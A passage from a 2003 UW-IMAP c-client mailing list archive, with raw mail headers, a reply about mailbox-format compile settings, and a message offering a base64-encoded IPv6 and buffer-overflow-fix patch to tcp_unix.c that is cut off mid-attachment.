tmail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 9 12:54:16 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 12:54:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KsFUF015033 for ; Tue, 9 Dec 2003 12:54:15 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KsDlp022169 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 12:54:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB9KqSFe005254; Tue, 9 Dec 2003 12:52:28 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KpguL019274 for ; Tue, 9 Dec 2003 12:51:42 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KpfRg011872 for ; Tue, 9 Dec 2003 12:51:41 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KpNK4015222; Tue, 9 Dec 2003 12:51:23 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9KpNvo006364 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 9 Dec 2003 12:51:23 -0800 Message-Id: Date: Tue, 9 Dec 2003 12:49:20 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Hodulik Cc: Imre Gergely , Sebastian Hagedorn , c-client@u.washington.edu Subject: Re: mailbox format problems In-Reply-To: <003001c3be8a$71c27700$6501a8c0@winbitch> References: <003001c3be8a$71c27700$6501a8c0@winbitch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Dec 2003, Nick Hodulik wrote: > There is a way. You have to dig down into the code and change "CREATEPROTO" > and "EMPTYPROTO" from mbox to mbx. Assuming your in *nix you'll have to go > to src/osdep/unix/env_unix.c or something similar to do this. The CREATEPROTO and EMPTYPROTO definitions are in the src/osdep/unix/Makefile. It is meaningless to set EMPTYPROTO to mbx. You can do it, but it won't accomplish anything. It will make empty files unusable. > If you want > mail to live in a subdirectory called "mail" in each users home dir then you > must change src/osdep/unix/Makefile to reflect this as well. Now, that is in env_unix.c. > Which brings me to a question: why can't these options be passed in to > UW-IMAP as compile-time switches? You most certainly can set CREATEPROTO and EMPTYPROTO as compile-time switches. > Every single time there's a new release I > have to delve into the code and change these flags, and I'm sure I'm not the > only one. It would be one thing if they were really esoteric things, but > they aren't: they're very basic, important changes that make UW-IMAP usable > on production servers. How? If you have a shell access system, then by setting the subdirectory you are dictating to your shell users where they store their mail for use by IMAP. If the user runs a client that uses some other name, you've screwed him; you've unilaterally made the decision for *all* users that one, and only one, subdirectory name must be used. If you don't allow shell access to the IMAP server, then may be no real need to put mail in a subdirectory. The whole point of a subdirectory is to separate mail from other files that a user may have. But if it's a dedicated IMAP server, there shouldn't be any files. Of course there are systems which don't neatly fit into either of the above categories. However -- and this point bears emphasizing -- the cost of miscategorizing such a system is merely that the client has to have a "prefix" configured. The cost of making the opposite mistake is a denial of access to mail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 9 14:14:47 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Dec 2003 14:14:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9MEkUF018872 for ; Tue, 9 Dec 2003 14:14:46 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9MEi72019359 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Dec 2003 14:14:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hB9MCI1r015116; Tue, 9 Dec 2003 14:12:18 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9MBNuL029512 for ; Tue, 9 Dec 2003 14:11:23 -0800 Received: from gau.lava.net (gau.lava.net [64.65.64.28]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hB9MBLbc023994 for ; Tue, 9 Dec 2003 14:11:21 -0800 Received: from malasada.lava.net (malasada.lava.net [64.65.64.17]) by gau.lava.net (Postfix) with ESMTP id B9F1617DB8; Tue, 9 Dec 2003 12:11:12 -1000 (HST) Message-Id: Date: Tue, 9 Dec 2003 12:11:12 -1000 (HST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antonio Querubin To: anders@fix.no, dougb@freebsd.org, c-client@u.washington.edu Subject: IPv6 fixes for tcp_unix.c MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1465796871-1898278407-1071005111=:17098" Content-ID: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='TO_HAS_SPACES 0.000, HASHBUSTER_BLOCK 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1465796871-1898278407-1071005111=:17098 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: A few weeks ago I'd submitted a patch (to the newsgroup) to fix an IPv6/SSL compatibility issue in tcp_unix.c. Since then I've worked on getting rid of other nuisance problems with handling IPv6 connections. Most notably, imapd wouldn't syslog IPv6 addresses properly - instead it would log a 'NON-IPv4' message. And pine could not make IPv6 client connections. The attached patch to tcp_unix.c fixes those problems and incorporates the earlier IPv6/SSL bugfix. It also includes some miscellaneous code cleanup. Here's a summary of the changes: - IPv6/SSL compatibility The server port was not being initialized if the connection was over IPv6. Corrected tcp_serverhost() to handle that case. - Logging IPv6 addresses in syslog messages Calls to inet_ntoa() have been replaced by a protocol-independent function socktop() which calls inet_ntop(). - Client IPv6 connections The first half of tcp_open() used a combination of inet_addr() and gethostbyname() to resolve the user's host argument into an IP address and ultimately into a socket address structure. This section was simplified using getaddrinfo() and the IP version dependency is now hidden within addrinfo structures. tcp_socket_open() is now passed a reference to a generic sockaddr structure instead of the IPv4 dependent sockaddr_in. - Buffer overflow prevention sprintf() and strcpy() are replaced by snprintf() and strncpy() in the cases where the destination buffer size is known. This should basically make pine and imapd completely IPv6 capable. The patch has been tested with the FreeBSD ports of imapd, c-client, and pine. Depending on how much backward compatibility is desired for older UNIX operating systems which do not have IPv6 stacks, integrating this patch into the c-client distribution might take some extra work. I don't have ready access to older IPv4-only UNIX systems anymore so the patch has no '#ifdef IPV6' tests at all. However someone else is free to sprinkle those in where appropriate. An alternative to doing that might be to use this patch to create a tcp6_unix.c, define different Makefile targets for the IPv4-only vs IPv6 UNIX systems, and include tcp6_unix.c in the appropriate build targets. --1465796871-1898278407-1071005111=:17098 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="patch-lavanet.tcp6_unix" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: IPv6 patches for imapd, c-client, and pine Content-Disposition: ATTACHMENT; FILENAME="patch-lavanet.tcp6_unix" LS0tIHNyYy9vc2RlcC91bml4L3RjcF91bml4LmMub3JpZwlUaHUgT2N0IDMx IDEwOjA0OjQxIDIwMDINCisrKyBzcmMvb3NkZXAvdW5peC90Y3BfdW5peC5j CVR1ZSBEZWMgIDkgMDk6Mzc6MTQgMjAwMw0KQEAgLTM3LDExICszNywxMiBA QA0KIA0KIC8qIExvY2FsIGZ1bmN0aW9uIHByb3RvdHlwZXMgKi8NCiANCi1p bnQgdGNwX3NvY2tldF9vcGVuIChzdHJ1Y3Qgc29ja2FkZHJfaW4gKnNpbixj aGFyICp0bXAsaW50ICpjdHIsY2hhciAqaHN0LA0KK2ludCB0Y3Bfc29ja2V0 X29wZW4oIHN0cnVjdCBzb2NrYWRkciAqc2EsIGNoYXIgKnRtcCwgaW50ICpj dHIsIGNoYXIgKmhzdCwNCiAJCSAgICAgdW5zaWduZWQgbG9uZyBwb3J0KTsN CiBsb25nIHRjcF9hYm9ydCAoVENQU1RSRUFNICpzdHJlYW0pOw0KLWNoYXIg KnRjcF9uYW1lIChzdHJ1Y3Qgc29ja2FkZHJfaW4gKnNpbixsb25nIGZsYWcp Ow0KK2NoYXIgKnRjcF9uYW1lKCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCBsb25n IGZsYWcgKTsNCiBsb25nIHRjcF9uYW1lX3ZhbGlkIChjaGFyICpzKTsNCitj aGFyICpzb2NrdG9wKCBzdHJ1Y3Qgc29ja2FkZHIgKnNhICk7IA0KIAwNCiAv KiBUQ1AvSVAgbWFuaXB1bGF0ZSBwYXJhbWV0ZXJzDQogICogQWNjZXB0czog ZnVuY3Rpb24gY29kZQ0KQEAgLTEzOCw3ICsxMzksNyBAQA0KICAgaW50IHNp bGVudCA9IChwb3J0ICYgTkVUX1NJTEVOVCkgPyBUIDogTklMOw0KICAgaW50 ICpjdHJwID0gKHBvcnQgJiBORVRfTk9PUEVOVElNRU9VVCkgPyBOSUwgOiAm Y3RyOw0KICAgY2hhciAqczsNCi0gIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47 DQorICBzdHJ1Y3QgYWRkcmluZm8gaGludHMsICpyZXN1bHQ7DQogICBzdHJ1 Y3QgaG9zdGVudCAqaGU7DQogICBjaGFyIGhvc3RuYW1lW01BSUxUTVBMRU5d Ow0KICAgY2hhciB0bXBbTUFJTFRNUExFTl07DQpAQCAtMTQ3LDYyICsxNDgs NDQgQEANCiAgIHZvaWQgKmRhdGE7DQogICBwb3J0ICY9IDB4ZmZmZjsJCS8q IGVyYXNlIGZsYWdzICovDQogCQkJCS8qIGxvb2t1cCBzZXJ2aWNlICovDQor ICBtZW1zZXQoICZoaW50cywgMCwgc2l6ZW9mIGhpbnRzICk7DQorICBoaW50 cy5haV9mYW1pbHkgPSBBRl9VTlNQRUM7DQorICBoaW50cy5haV9zb2NrdHlw ZSA9IFNPQ0tfU1RSRUFNOw0KKw0KICAgaWYgKHNlcnZpY2UgJiYgKHN2ID0g Z2V0c2VydmJ5bmFtZSAoc2VydmljZSwidGNwIikpKQ0KLSAgICBwb3J0ID0g bnRvaHMgKHNpbi5zaW5fcG9ydCA9IHN2LT5zX3BvcnQpOw0KLSAJCQkJLyog Y29weSBwb3J0IG51bWJlciBpbiBuZXR3b3JrIGZvcm1hdCAqLw0KLSAgZWxz ZSBzaW4uc2luX3BvcnQgPSBodG9ucyAocG9ydCk7DQorICAgIHBvcnQgPSBu dG9ocyggc3YtPnNfcG9ydCApOw0KKyAgDQorICBpZiAodGNwZGVidWcpIHsN CisgICAgc25wcmludGYoIHRtcCwgc2l6ZW9mIHRtcCwgIkROUyByZXNvbHV0 aW9uICUuODBzIiwgaG9zdCApOw0KKyAgICBtbV9sb2cgKHRtcCxUQ1BERUJV Ryk7DQorICB9DQorDQogICAvKiBUaGUgZG9tYWluIGxpdGVyYWwgZm9ybSBp cyB1c2VkIChyYXRoZXIgdGhhbiBzaW1wbHkgdGhlIGRvdHRlZCBkZWNpbWFs DQogICAgICBhcyB3aXRoIG90aGVyIFVuaXggcHJvZ3JhbXMpIGJlY2F1c2Ug aXQgaGFzIHRvIGJlIGEgdmFsaWQgImhvc3QgbmFtZSINCiAgICAgIGluIG1h aWxzeXN0ZW0gdGVybWlub2xvZ3kuICovDQogCQkJCS8qIGxvb2sgbGlrZSBk b21haW4gbGl0ZXJhbD8gKi8NCi0gIGlmIChob3N0WzBdID09ICdbJyAmJiBo b3N0WyhzdHJsZW4gKGhvc3QpKS0xXSA9PSAnXScpIHsNCi0gICAgc3RyY3B5 IChob3N0bmFtZSxob3N0KzEpOwkvKiB5ZXMsIGNvcHkgbnVtYmVyIHBhcnQg Ki8NCi0gICAgaG9zdG5hbWVbKHN0cmxlbiAoaG9zdG5hbWUpKS0xXSA9ICdc MCc7DQotICAgIGlmICgoc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRk ciAoaG9zdG5hbWUpKSA9PSAtMSkNCi0gICAgICBzcHJpbnRmICh0bXAsIkJh ZCBmb3JtYXQgZG9tYWluLWxpdGVyYWw6ICUuODBzIixob3N0KTsNCi0gICAg ZWxzZSB7DQotICAgICAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOwkvKiBm YW1pbHkgaXMgYWx3YXlzIEludGVybmV0ICovDQotICAgICAgc3RyY3B5ICho b3N0bmFtZSxob3N0KTsJLyogaG9zdG5hbWUgaXMgdXNlcidzIGFyZ3VtZW50 ICovDQotICAgICAgKCpibikgKEJMT0NLX1RDUE9QRU4sTklMKTsNCi0JCQkJ LyogZ2V0IGFuIG9wZW4gc29ja2V0IGZvciB0aGlzIHN5c3RlbSAqLw0KLSAg ICAgIHNvY2sgPSB0Y3Bfc29ja2V0X29wZW4gKCZzaW4sdG1wLGN0cnAsaG9z dG5hbWUscG9ydCk7DQotICAgICAgKCpibikgKEJMT0NLX05PTkUsTklMKTsN Ci0gICAgfQ0KLSAgfQ0KKyAgaWYgKGhvc3RbMF0gPT0gJ1snICYmIGhvc3Rb KHN0cmxlbiAoaG9zdCkpLTFdID09ICddJykNCisgICAgc3RybmNweSggaG9z dG5hbWUsIGhvc3QrMSwgc2l6ZW9mIGhvc3RuYW1lICk7IC8qIHllcywgY29w eSBudW1iZXIgcGFydCAqLw0KKyAgZWxzZSBzdHJuY3B5KCBob3N0bmFtZSwg bGNhc2UoIGhvc3QgKSwgc2l6ZW9mIGhvc3RuYW1lICk7DQogDA0KLSAgZWxz ZSB7CQkJLyogbG9va3VwIGhvc3QgbmFtZSAqLw0KLSAgICBpZiAodGNwZGVi dWcpIHsNCi0gICAgICBzcHJpbnRmICh0bXAsIkROUyByZXNvbHV0aW9uICUu ODBzIixob3N0KTsNCi0gICAgICBtbV9sb2cgKHRtcCxUQ1BERUJVRyk7DQot ICAgIH0NCiAgICAgKCpibikgKEJMT0NLX0ROU0xPT0tVUCxOSUwpOy8qIHF1 ZWxsIGFsYXJtcyAqLw0KICAgICBkYXRhID0gKCpibikgKEJMT0NLX1NFTlNJ VElWRSxOSUwpOw0KLSAgICBpZiAoIShoZSA9IGdldGhvc3RieW5hbWUgKGxj YXNlIChzdHJjcHkgKGhvc3RuYW1lLGhvc3QpKSkpKQ0KLSAgICAgIHNwcmlu dGYgKHRtcCwiTm8gc3VjaCBob3N0IGFzICUuODBzIixob3N0KTsNCisgIGkg PSBnZXRhZGRyaW5mbyggaG9zdG5hbWUsIHNlcnZpY2UsICZoaW50cywgJnJl c3VsdCApOw0KICAgICAoKmJuKSAoQkxPQ0tfTk9OU0VOU0lUSVZFLGRhdGEp Ow0KICAgICAoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOw0KLSAgICBpZiAoaGUp IHsJCQkvKiBETlMgcmVzb2x1dGlvbiB3b24/ICovDQotICAgICAgaWYgKHRj cGRlYnVnKSBtbV9sb2cgKCJETlMgcmVzb2x1dGlvbiBkb25lIixUQ1BERUJV Ryk7DQotCQkJCS8qIGNvcHkgYWRkcmVzcyB0eXBlICovDQotICAgICAgc2lu LnNpbl9mYW1pbHkgPSBoZS0+aF9hZGRydHlwZTsNCi0JCQkJLyogY29weSBo b3N0IG5hbWUgKi8NCi0gICAgICBzdHJjcHkgKGhvc3RuYW1lLGhlLT5oX25h bWUpOw0KLSNpZmRlZiBIT1NUX05PVF9GT1VORAkJLyogbXVsaXBsZSBhZGRy ZXNzZXMgb25seSBvbiBETlMgc3lzdGVtcyAqLw0KLSAgICAgIGZvciAoc29j ayA9IC0xLGkgPSAwOyAoc29jayA8IDApICYmIChzID0gaGUtPmhfYWRkcl9s aXN0W2ldKTsgaSsrKSB7DQotCWlmIChpICYmICFzaWxlbnQpIG1tX2xvZyAo dG1wLFdBUk4pOw0KLQltZW1jcHkgKCZzaW4uc2luX2FkZHIscyxoZS0+aF9s ZW5ndGgpOw0KLQkoKmJuKSAoQkxPQ0tfVENQT1BFTixOSUwpOw0KLQlzb2Nr ID0gdGNwX3NvY2tldF9vcGVuICgmc2luLHRtcCxjdHJwLGhvc3RuYW1lLHBv cnQpOw0KLQkoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOw0KLSAgICAgIH0NCi0j ZWxzZQkJCQkvKiB0aGUgb25lIHRydWUgYWRkcmVzcyB0aGVuICovDQotICAg ICAgbWVtY3B5ICgmc2luLnNpbl9hZGRyLGhlLT5oX2FkZHIsaGUtPmhfbGVu Z3RoKTsNCisNCisgIGlmICggaSApIHNucHJpbnRmKCB0bXAsIHNpemVvZiB0 bXAsICJObyBzdWNoIGhvc3QgYXMgJS44MHMiLCBob3N0KTsNCisgIGVsc2Ug ZG8gew0KKw0KICAgICAgICgqYm4pIChCTE9DS19UQ1BPUEVOLE5JTCk7DQot ICAgICAgc29jayA9IHRjcF9zb2NrZXRfb3BlbiAoJnNpbix0bXAsY3RycCxo b3N0bmFtZSxwb3J0KTsNCisJCQkJLyogZ2V0IGFuIG9wZW4gc29ja2V0IGZv ciB0aGlzIHN5c3RlbSAqLw0KKyAgICBzb2NrID0gdGNwX3NvY2tldF9vcGVu KCByZXN1bHQtPmFpX2FkZHIsIHRtcCwgY3RycCwgaG9zdG5hbWUsIHBvcnQg KTsNCiAgICAgICAoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOw0KLSNlbmRpZg0K LSAgICB9DQotICB9DQorDQorICAgIGlmICggc29jayA+PSAwICkgYnJlYWs7 DQorDQorICB9IHdoaWxlICggKCByZXN1bHQgPSByZXN1bHQtPmFpX25leHQg KSAhPSBOVUxMICk7DQorDA0KICAgaWYgKHNvY2sgPj0gMCkgIHsJCS8qIHdv biAqLw0KICAgICBzdHJlYW0gPSAoVENQU1RSRUFNICopIG1lbXNldCAoZnNf Z2V0IChzaXplb2YgKFRDUFNUUkVBTSkpLDAsDQogCQkJCSAgIHNpemVvZiAo VENQU1RSRUFNKSk7DQpAQCAtMjI4LDIxICsyMTEsMjMgQEANCiAgKiBSZXR1 cm5zOiBzb2NrZXQgaWYgc3VjY2VzcywgZWxzZSAtMSB3aXRoIGVycm9yIHN0 cmluZyBpbiBzY3JhdGNoIGJ1ZmZlcg0KICAqLw0KIA0KLWludCB0Y3Bfc29j a2V0X29wZW4gKHN0cnVjdCBzb2NrYWRkcl9pbiAqc2luLGNoYXIgKnRtcCxp bnQgKmN0cixjaGFyICpoc3QsDQotCQkgICAgIHVuc2lnbmVkIGxvbmcgcG9y dCkNCitpbnQgdGNwX3NvY2tldF9vcGVuKCBzdHJ1Y3Qgc29ja2FkZHIgKnNh LCBjaGFyICp0bXAsIGludCAqY3RyLA0KKyAgICAgICAgICAgICAgICAgICAg IGNoYXIgKmhzdCwgdW5zaWduZWQgbG9uZyBwb3J0KQ0KIHsNCiAgIGludCBp LHRpLHNvY2ssZmxnczsNCiAgIHRpbWVfdCBub3c7DQogICBzdHJ1Y3QgcHJv dG9lbnQgKnB0ID0gZ2V0cHJvdG9ieW5hbWUgKCJ0Y3AiKTsNCiAgIGZkX3Nl dCBmZHMsZWZkczsNCiAgIHN0cnVjdCB0aW1ldmFsIHRtbzsNCisgIHNvY2ts ZW5fdCBzYWxlbjsNCiAgIGJsb2Nrbm90aWZ5X3QgYm4gPSAoYmxvY2tub3Rp ZnlfdCkgbWFpbF9wYXJhbWV0ZXJzIChOSUwsR0VUX0JMT0NLTk9USUZZLE5J TCk7DQogCQkJCS8qIGZldGlkIFNvbGFyaXMgKi8NCiAgIHZvaWQgKmRhdGEg PSAoKmJuKSAoQkxPQ0tfU0VOU0lUSVZFLE5JTCk7DQotICBzcHJpbnRmICh0 bXAsIlRyeWluZyBJUCBhZGRyZXNzIFslc10iLGluZXRfbnRvYSAoc2luLT5z aW5fYWRkcikpOw0KKyAgc3ByaW50ZiggdG1wLCAiVHJ5aW5nIElQIGFkZHJl c3MgWyVzXSIsIHNvY2t0b3AoIHNhICkgKTsNCiAgIG1tX2xvZyAodG1wLE5J TCk7DQogCQkJCS8qIG1ha2UgYSBzb2NrZXQgKi8NCi0gIGlmICgoc29jayA9 IHNvY2tldCAoc2luLT5zaW5fZmFtaWx5LFNPQ0tfU1RSRUFNLHB0ID8gcHQt PnBfcHJvdG8gOiAwKSkgPCAwKSB7DQorICBpZiAoICggc29jayA9IHNvY2tl dCggc2EtPnNhX2ZhbWlseSwgU09DS19TVFJFQU0sIHB0ID8gcHQtPnBfcHJv dG8gOiAwICkgKQ0KKyAgICAgICA8IDAgKSB7DQogICAgIHNwcmludGYgKHRt cCwiVW5hYmxlIHRvIGNyZWF0ZSBUQ1Agc29ja2V0OiAlcyIsc3RyZXJyb3Ig KGVycm5vKSk7DQogICAgICgqYm4pIChCTE9DS19OT05TRU5TSVRJVkUsZGF0 YSk7DQogICAgIHJldHVybiAtMTsNCkBAIC0yNTEsOCArMjM2LDExIEBADQog CQkJCS8qIHNldCBub24tYmxvY2tpbmcgaWYgd2FudCBvcGVuIHRpbWVvdXQg Ki8NCiAgIGlmIChjdHIpIGZjbnRsIChzb2NrLEZfU0VURkwsZmxncyB8IEZO REVMQVkpOw0KIAkJCQkvKiBvcGVuIGNvbm5lY3Rpb24gKi8NCi0gIHdoaWxl ICgoaSA9IGNvbm5lY3QgKHNvY2ssKHN0cnVjdCBzb2NrYWRkciAqKSBzaW4s DQotCQkgICAgICAgc2l6ZW9mIChzdHJ1Y3Qgc29ja2FkZHJfaW4pKSkgPCAw ICYmIChlcnJubyA9PSBFSU5UUikpOw0KKw0KKyAgaWYgKCBzYS0+c2FfZmFt aWx5ID09IEFGX0lORVQgKSBzYWxlbiA9IHNpemVvZiAoc3RydWN0IHNvY2th ZGRyX2luKTsNCisgIGVsc2Ugc2FsZW4gPSBzaXplb2YgKHN0cnVjdCBzb2Nr YWRkcl9pbjYpOw0KKyAgd2hpbGUgKCAoIGkgPSBjb25uZWN0KCBzb2NrLCAo c3RydWN0IHNvY2thZGRyICopIHNhLCBzYWxlbiApICkgPCAwICYmDQorICAg ICAgICAgICggZXJybm8gPT0gRUlOVFIgKSApOw0KICAgKCpibikgKEJMT0NL X05PTlNFTlNJVElWRSxkYXRhKTsNCiAgIGlmIChpIDwgMCkgc3dpdGNoIChl cnJubykgewkvKiBmYWlsZWQ/ICovDQogICBjYXNlIEVBR0FJTjoJCQkvKiBE RyBicmFpbiBkYW1hZ2UgKi8NCkBAIC0zMzMsMTAgKzMyMSwxMCBAQA0KICAg ZWxzZSByZXR1cm4gTklMOwkJLyogcnNoIGRpc2FibGVkICovDQogCQkJCS8q IGxvb2sgbGlrZSBkb21haW4gbGl0ZXJhbD8gKi8NCiAgIGlmIChtYi0+aG9z dFswXSA9PSAnWycgJiYgbWItPmhvc3RbaSA9IChzdHJsZW4gKG1iLT5ob3N0 KSktMV0gPT0gJ10nKSB7DQotICAgIHN0cmNweSAoaG9zdCxtYi0+aG9zdCsx KTsJLyogeWVzLCBjb3B5IHdpdGhvdXQgYnJhY2tldHMgKi8NCi0gICAgaG9z dFtpLTFdID0gJ1wwJzsNCi0gICAgaWYgKGluZXRfYWRkciAoaG9zdCkgPT0g LTEpIHsNCi0gICAgICBzcHJpbnRmICh0bXAsIkJhZCBmb3JtYXQgZG9tYWlu LWxpdGVyYWw6ICUuODBzIixob3N0KTsNCisgICAgc3RybmNweSggaG9zdCwg bWItPmhvc3QrMSwgc2l6ZW9mIGhvc3QgKTsJLyogeWVzLCBjb3B5IHdpdGhv dXQgYnJhY2tldHMgKi8NCisgICAgaWYgKCAoIGluZXRfcHRvbiggQUZfSU5F VCwgaG9zdCwgdG1wICkgPD0gMCApICYmDQorICAgICAgICAgKCBpbmV0X3B0 b24oIEFGX0lORVQ2LCBob3N0LCB0bXAgKSA8PSAwICkgKSB7DQorICAgICAg c25wcmludGYoIHRtcCwgc2l6ZW9mIHRtcCwgIkJhZCBmb3JtYXQgZG9tYWlu LWxpdGVyYWw6ICUuODBzIiwgaG9zdCApOw0KICAgICAgIG1tX2xvZyAodG1w LEVSUk9SKTsNCiAgICAgICByZXR1cm4gTklMOw0KICAgICB9DQpAQCAtMzQ1 LDI0ICszMzMsMjUgQEANCiAgICAgKCpibikgKEJMT0NLX0ROU0xPT0tVUCxO SUwpOw0KICAgICBkYXRhID0gKCpibikgKEJMT0NLX1NFTlNJVElWRSxOSUwp Ow0KICAgICBpZiAodGNwZGVidWcpIHsNCi0gICAgICBzcHJpbnRmICh0bXAs IkROUyBjYW5vbmljYWxpemF0aW9uIGZvciByc2gvc3NoICUuODBzIixtYi0+ aG9zdCk7DQorICAgICAgc25wcmludGYoIHRtcCwgc2l6ZW9mIHRtcCwgIkRO UyBjYW5vbmljYWxpemF0aW9uIGZvciByc2gvc3NoICUuODBzIiwNCisgICAg ICAgICAgICAgICAgbWItPmhvc3QpOw0KICAgICAgIG1tX2xvZyAodG1wLFRD UERFQlVHKTsNCiAgICAgfQ0KLSAgICBpZiAoaGUgPSBnZXRob3N0YnluYW1l IChsY2FzZSAoc3RyY3B5IChob3N0LG1iLT5ob3N0KSkpKQ0KLSAgICAgIHN0 cmNweSAoaG9zdCxoZS0+aF9uYW1lKTsNCisgICAgaWYgKCBoZSA9IGdldGhv c3RieW5hbWUoIGxjYXNlKCBzdHJuY3B5KCBob3N0LCBtYi0+aG9zdCwgc2l6 ZW9mIGhvc3QgKSApICkgKQ0KKyAgICAgIHN0cm5jcHkoIGhvc3QsIGhlLT5o X25hbWUsIHNpemVvZiBob3N0ICk7DQogICAgIGlmICh0Y3BkZWJ1ZykgbW1f bG9nICgiRE5TIGNhbm9uaWNhbGl6YXRpb24gZm9yIHJzaC9zc2ggZG9uZSIs VENQREVCVUcpOw0KICAgICAoKmJuKSAoQkxPQ0tfTk9OU0VOU0lUSVZFLGRh dGEpOw0KICAgICAoKmJuKSAoQkxPQ0tfTk9ORSxOSUwpOw0KICAgfQ0KIAwN CiAgIGlmICgqc2VydmljZSA9PSAnKicpCQkvKiBidWlsZCBzc2ggY29tbWFu ZCAqLw0KLSAgICBzcHJpbnRmICh0bXAsc3NoY29tbWFuZCxzc2hwYXRoLGhv c3QsDQorICAgIHNucHJpbnRmKCB0bXAsIHNpemVvZiB0bXAsIHNzaGNvbW1h bmQsIHNzaHBhdGgsIGhvc3QsDQogCSAgICAgbWItPnVzZXJbMF0gPyBtYi0+ dXNlciA6IG15dXNlcm5hbWUgKCksc2VydmljZSArIDEpOw0KLSAgZWxzZSBz cHJpbnRmICh0bXAscnNoY29tbWFuZCxyc2hwYXRoLGhvc3QsDQorICBlbHNl IHNucHJpbnRmKCB0bXAsIHNpemVvZiB0bXAsIHJzaGNvbW1hbmQsIHJzaHBh dGgsIGhvc3QsDQogCQltYi0+dXNlclswXSA/IG1iLT51c2VyIDogbXl1c2Vy bmFtZSAoKSxzZXJ2aWNlKTsNCiAgIGlmICh0Y3BkZWJ1Zykgew0KICAgICBj aGFyIG1zZ1tNQUlMVE1QTEVOXTsNCi0gICAgc3ByaW50ZiAobXNnLCJUcnlp bmcgJS4xMDBzIix0bXApOw0KKyAgICBzbnByaW50ZiggbXNnLCBzaXplb2Yg bXNnLCAiVHJ5aW5nICUuMTAwcyIsdG1wICk7DQogICAgIG1tX2xvZyAobXNn LFRDUERFQlVHKTsNCiAgIH0NCiAJCQkJLyogcGFyc2UgY29tbWFuZCBpbnRv IGFyZ3YgKi8NCkBAIC00MjIsOCArNDExLDkgQEANCiAgICAgaWYgKChpIDwg MCkgJiYgKGVycm5vID09IEVJTlRSKSAmJiB0aSAmJiAodGkgPD0gbm93KSkg aSA9IDA7DQogICB9IHdoaWxlICgoaSA8IDApICYmIChlcnJubyA9PSBFSU5U UikpOw0KICAgaWYgKGkgPD0gMCkgewkJCS8qIHRpbWVvdXQgb3IgZXJyb3I/ ICovDQotICAgIHNwcmludGYgKHRtcCxpID8gImVycm9yIGluICVzIHRvIElN 